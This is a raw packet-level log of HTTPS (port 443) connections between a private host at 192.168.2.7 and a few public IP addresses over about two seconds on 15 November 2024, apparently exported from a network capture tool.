Nov 15, 2024 13:18:45.119342089 CET	443	49857	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.126843929 CET	49870	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.126864910 CET	443	49870	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.126995087 CET	49870	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.127211094 CET	49870	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.127223015 CET	443	49870	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.129735947 CET	49857	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.155337095 CET	443	49862	184.28.90.27	192.168.2.7
Nov 15, 2024 13:18:45.174654007 CET	443	49865	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.174731970 CET	443	49865	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.174889088 CET	49865	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.175038099 CET	49865	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.175054073 CET	443	49865	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.175070047 CET	49865	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.175076962 CET	443	49865	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.180861950 CET	49871	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.180917978 CET	443	49871	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.181044102 CET	49871	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.181231022 CET	49871	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.181241035 CET	443	49871	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.205465078 CET	443	49857	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.205858946 CET	443	49857	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.205977917 CET	49857	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.206006050 CET	443	49857	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.206021070 CET	49857	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.206091881 CET	49857	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.224247932 CET	443	49866	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.224281073 CET	443	49866	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.224333048 CET	443	49866	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.224359989 CET	49866	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.224423885 CET	49866	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.224800110 CET	49866	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.224824905 CET	443	49866	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.224841118 CET	49866	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.224848986 CET	443	49866	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.229331017 CET	49872	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.229372978 CET	443	49872	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.229552984 CET	49872	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.229783058 CET	49872	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.229798079 CET	443	49872	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.269876003 CET	443	49864	13.107.246.67	192.168.2.7
Nov 15, 2024 13:18:45.269953012 CET	443	49864	13.107.246.67	192.168.2.7
Nov 15, 2024 13:18:45.269974947 CET	443	49864	13.107.246.67	192.168.2.7
Nov 15, 2024 13:18:45.270015001 CET	443	49864	13.107.246.67	192.168.2.7
Nov 15, 2024 13:18:45.270021915 CET	49864	443	192.168.2.7	13.107.246.67
Nov 15, 2024 13:18:45.270045996 CET	443	49864	13.107.246.67	192.168.2.7
Nov 15, 2024 13:18:45.270066977 CET	443	49864	13.107.246.67	192.168.2.7
Nov 15, 2024 13:18:45.270078897 CET	49864	443	192.168.2.7	13.107.246.67
Nov 15, 2024 13:18:45.270093918 CET	49864	443	192.168.2.7	13.107.246.67
Nov 15, 2024 13:18:45.270119905 CET	49864	443	192.168.2.7	13.107.246.67
Nov 15, 2024 13:18:45.275089025 CET	443	49867	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.275737047 CET	49867	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.275758028 CET	443	49867	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.277112007 CET	49867	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.277117968 CET	443	49867	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.352952957 CET	443	49862	184.28.90.27	192.168.2.7
Nov 15, 2024 13:18:45.353032112 CET	443	49862	184.28.90.27	192.168.2.7
Nov 15, 2024 13:18:45.353192091 CET	49862	443	192.168.2.7	184.28.90.27
Nov 15, 2024 13:18:45.353235006 CET	443	49862	184.28.90.27	192.168.2.7
Nov 15, 2024 13:18:45.353251934 CET	49862	443	192.168.2.7	184.28.90.27
Nov 15, 2024 13:18:45.353260994 CET	443	49862	184.28.90.27	192.168.2.7
Nov 15, 2024 13:18:45.387670994 CET	443	49864	13.107.246.67	192.168.2.7
Nov 15, 2024 13:18:45.387706041 CET	443	49864	13.107.246.67	192.168.2.7
Nov 15, 2024 13:18:45.387746096 CET	443	49864	13.107.246.67	192.168.2.7
Nov 15, 2024 13:18:45.387778997 CET	49864	443	192.168.2.7	13.107.246.67
Nov 15, 2024 13:18:45.387803078 CET	443	49864	13.107.246.67	192.168.2.7
Nov 15, 2024 13:18:45.387831926 CET	49864	443	192.168.2.7	13.107.246.67
Nov 15, 2024 13:18:45.393925905 CET	49874	443	192.168.2.7	184.28.90.27
Nov 15, 2024 13:18:45.393954992 CET	443	49874	184.28.90.27	192.168.2.7
Nov 15, 2024 13:18:45.396380901 CET	49874	443	192.168.2.7	184.28.90.27
Nov 15, 2024 13:18:45.396799088 CET	49874	443	192.168.2.7	184.28.90.27
Nov 15, 2024 13:18:45.396809101 CET	443	49874	184.28.90.27	192.168.2.7
Nov 15, 2024 13:18:45.407763004 CET	443	49867	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.408538103 CET	443	49867	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.408595085 CET	49867	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.408633947 CET	49867	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.408653021 CET	443	49867	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.408667088 CET	49867	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.408673048 CET	443	49867	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.411834002 CET	49875	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.411884069 CET	443	49875	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.412013054 CET	49875	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.412134886 CET	49875	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.412146091 CET	443	49875	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.435796022 CET	49864	443	192.168.2.7	13.107.246.67
Nov 15, 2024 13:18:45.505583048 CET	443	49864	13.107.246.67	192.168.2.7
Nov 15, 2024 13:18:45.505645037 CET	443	49864	13.107.246.67	192.168.2.7
Nov 15, 2024 13:18:45.505670071 CET	49864	443	192.168.2.7	13.107.246.67
Nov 15, 2024 13:18:45.505677938 CET	443	49864	13.107.246.67	192.168.2.7
Nov 15, 2024 13:18:45.505706072 CET	49864	443	192.168.2.7	13.107.246.67
Nov 15, 2024 13:18:45.505729914 CET	49864	443	192.168.2.7	13.107.246.67
Nov 15, 2024 13:18:45.505747080 CET	443	49864	13.107.246.67	192.168.2.7
Nov 15, 2024 13:18:45.505801916 CET	49864	443	192.168.2.7	13.107.246.67
Nov 15, 2024 13:18:45.505805969 CET	443	49864	13.107.246.67	192.168.2.7
Nov 15, 2024 13:18:45.505844116 CET	49864	443	192.168.2.7	13.107.246.67
Nov 15, 2024 13:18:45.505933046 CET	443	49864	13.107.246.67	192.168.2.7
Nov 15, 2024 13:18:45.505980968 CET	49864	443	192.168.2.7	13.107.246.67
Nov 15, 2024 13:18:45.506120920 CET	49864	443	192.168.2.7	13.107.246.67
Nov 15, 2024 13:18:45.506127119 CET	443	49864	13.107.246.67	192.168.2.7
Nov 15, 2024 13:18:45.790961027 CET	443	49868	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.791652918 CET	49868	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.791687012 CET	443	49868	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.792768002 CET	49868	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.792777061 CET	443	49868	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.859437943 CET	443	49869	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.860551119 CET	49869	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.860589981 CET	443	49869	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.861143112 CET	49869	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.861150980 CET	443	49869	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.870904922 CET	443	49870	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.871742010 CET	49870	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.871767044 CET	443	49870	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.875257015 CET	443	49870	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.875344992 CET	49870	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.875835896 CET	49870	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.876000881 CET	443	49870	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.876010895 CET	49870	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.919310093 CET	49870	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.919332981 CET	443	49870	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.919357061 CET	443	49870	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.920764923 CET	443	49868	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.920932055 CET	443	49868	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.920988083 CET	49868	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.923398018 CET	49868	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.923415899 CET	443	49868	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.923425913 CET	49868	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.923430920 CET	443	49868	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.927265882 CET	49882	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.927321911 CET	443	49882	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.928150892 CET	49882	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.928318977 CET	49882	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.928328037 CET	443	49882	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.958535910 CET	443	49872	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.959202051 CET	49872	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.959249020 CET	443	49872	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.959728003 CET	49872	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.959736109 CET	443	49872	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.968683958 CET	49870	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.994914055 CET	443	49869	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.994983912 CET	443	49869	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.995045900 CET	49869	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.995363951 CET	49869	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.995388031 CET	443	49869	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.995402098 CET	49869	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.995408058 CET	443	49869	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.999191999 CET	49883	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.999237061 CET	443	49883	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:45.999320984 CET	49883	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.999471903 CET	49883	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:45.999492884 CET	443	49883	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.087456942 CET	443	49872	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.087596893 CET	443	49872	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.087657928 CET	49872	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.087877035 CET	49872	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.087903976 CET	443	49872	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.087917089 CET	49872	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.087924957 CET	443	49872	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.091852903 CET	49884	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.091896057 CET	443	49884	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.092103004 CET	49884	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.092689991 CET	49884	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.092700005 CET	443	49884	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.125267982 CET	443	49870	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.125334024 CET	443	49870	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.125360966 CET	443	49870	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.125391960 CET	49870	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.125406981 CET	443	49870	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.125430107 CET	443	49870	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.125436068 CET	49870	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.125452042 CET	443	49870	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.125452995 CET	49870	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.125475883 CET	49870	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.125484943 CET	443	49870	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.125490904 CET	49870	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.125531912 CET	49870	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.127571106 CET	49885	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.127604961 CET	443	49885	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.127785921 CET	49885	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.128066063 CET	49885	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.128072977 CET	443	49885	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.192120075 CET	443	49875	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.193346977 CET	49875	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.193377972 CET	443	49875	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.194093943 CET	49875	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.194103003 CET	443	49875	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.233875036 CET	443	49874	184.28.90.27	192.168.2.7
Nov 15, 2024 13:18:46.233937979 CET	49874	443	192.168.2.7	184.28.90.27
Nov 15, 2024 13:18:46.243581057 CET	443	49870	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.243592978 CET	443	49870	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.243623018 CET	443	49870	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.243669033 CET	49870	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.243685961 CET	443	49870	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.243724108 CET	49870	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.243741989 CET	49870	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.246891022 CET	49874	443	192.168.2.7	184.28.90.27
Nov 15, 2024 13:18:46.246905088 CET	443	49874	184.28.90.27	192.168.2.7
Nov 15, 2024 13:18:46.247200012 CET	443	49874	184.28.90.27	192.168.2.7
Nov 15, 2024 13:18:46.249027967 CET	49874	443	192.168.2.7	184.28.90.27
Nov 15, 2024 13:18:46.295325041 CET	443	49874	184.28.90.27	192.168.2.7
Nov 15, 2024 13:18:46.327574968 CET	443	49875	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.327610970 CET	443	49875	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.327665091 CET	443	49875	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.327748060 CET	49875	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.327778101 CET	49875	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.362276077 CET	443	49870	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.362309933 CET	443	49870	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.362365007 CET	49870	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.362387896 CET	443	49870	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.362412930 CET	49870	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.362435102 CET	49870	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.402796984 CET	49875	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.402827024 CET	443	49875	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.402841091 CET	49875	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.402848959 CET	443	49875	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.480820894 CET	443	49870	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.480846882 CET	443	49870	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.480915070 CET	49870	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.480936050 CET	443	49870	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.480951071 CET	49870	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.480990887 CET	49870	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.490328074 CET	443	49874	184.28.90.27	192.168.2.7
Nov 15, 2024 13:18:46.490410089 CET	443	49874	184.28.90.27	192.168.2.7
Nov 15, 2024 13:18:46.490503073 CET	49874	443	192.168.2.7	184.28.90.27
Nov 15, 2024 13:18:46.599534988 CET	443	49870	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.599606991 CET	443	49870	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.599617958 CET	49870	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.599639893 CET	443	49870	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.599663019 CET	49870	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.599678040 CET	49870	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.626610994 CET	49874	443	192.168.2.7	184.28.90.27
Nov 15, 2024 13:18:46.626640081 CET	443	49874	184.28.90.27	192.168.2.7
Nov 15, 2024 13:18:46.626663923 CET	49874	443	192.168.2.7	184.28.90.27
Nov 15, 2024 13:18:46.626669884 CET	443	49874	184.28.90.27	192.168.2.7
Nov 15, 2024 13:18:46.632147074 CET	49886	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.632195950 CET	443	49886	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.632275105 CET	49886	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.638489962 CET	49886	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.638508081 CET	443	49886	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.657316923 CET	443	49882	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.657780886 CET	49882	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.657804966 CET	443	49882	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.658337116 CET	49882	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.658344030 CET	443	49882	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.717852116 CET	443	49870	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.717916012 CET	443	49870	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.717972040 CET	49870	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.718029976 CET	443	49870	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.718045950 CET	49870	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.718096972 CET	49870	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.725483894 CET	443	49883	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.726365089 CET	49883	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.726397038 CET	443	49883	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.726887941 CET	49883	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.726893902 CET	443	49883	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.787240982 CET	443	49882	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.787424088 CET	443	49882	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.787589073 CET	49882	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.787589073 CET	49882	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.787626028 CET	49882	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.787642002 CET	443	49882	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.790966988 CET	49891	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.790990114 CET	443	49891	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.791075945 CET	49891	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.791270018 CET	49891	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.791284084 CET	443	49891	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.836599112 CET	443	49870	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.836632967 CET	443	49884	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.836662054 CET	443	49870	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.836694956 CET	49870	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.836711884 CET	443	49870	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.836762905 CET	49870	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.836785078 CET	49870	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.837584972 CET	49884	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.837620020 CET	443	49884	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.838119030 CET	49884	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.838124037 CET	443	49884	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.853712082 CET	443	49883	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.853801966 CET	443	49883	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.853852987 CET	49883	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.854001999 CET	49883	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.854022026 CET	443	49883	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.854037046 CET	49883	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.854043007 CET	443	49883	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.857660055 CET	49892	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.857707024 CET	443	49892	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.857789993 CET	49892	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.857943058 CET	49892	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.857948065 CET	443	49892	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.873990059 CET	443	49885	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.874496937 CET	49885	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.874511957 CET	443	49885	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.875737906 CET	443	49885	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.876188040 CET	49885	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.876408100 CET	443	49885	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.876435995 CET	49885	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.917840958 CET	49885	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.917856932 CET	443	49885	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.942512989 CET	443	49870	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.942548037 CET	443	49870	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.942609072 CET	49870	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.942630053 CET	443	49870	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.942662954 CET	49870	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.942677975 CET	49870	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.968355894 CET	443	49884	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.968453884 CET	443	49884	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.968538046 CET	49884	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.971436977 CET	49884	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.971457958 CET	443	49884	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.971470118 CET	49884	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.971476078 CET	443	49884	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.976433992 CET	49896	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.976465940 CET	443	49896	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:46.976627111 CET	49896	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.976795912 CET	49896	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:46.976804972 CET	443	49896	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:47.000216961 CET	443	49870	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:47.000292063 CET	443	49870	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:47.000323057 CET	49870	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:47.000348091 CET	443	49870	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:47.000382900 CET	49870	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:47.000397921 CET	49870	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:47.005408049 CET	443	49885	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:47.005750895 CET	49885	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:47.005773067 CET	443	49885	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:47.005916119 CET	443	49885	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:47.005961895 CET	49885	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:47.005986929 CET	49885	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:47.070641994 CET	443	49871	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:47.071470976 CET	49871	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:47.071502924 CET	443	49871	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:47.072007895 CET	49871	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:47.072015047 CET	443	49871	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:47.118578911 CET	443	49870	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:47.118643999 CET	443	49870	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:47.118685007 CET	49870	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:47.118731976 CET	443	49870	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:47.118762016 CET	49870	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:47.118782997 CET	49870	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:47.200803041 CET	443	49871	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:47.200851917 CET	443	49871	13.107.246.45	192.168.2.7
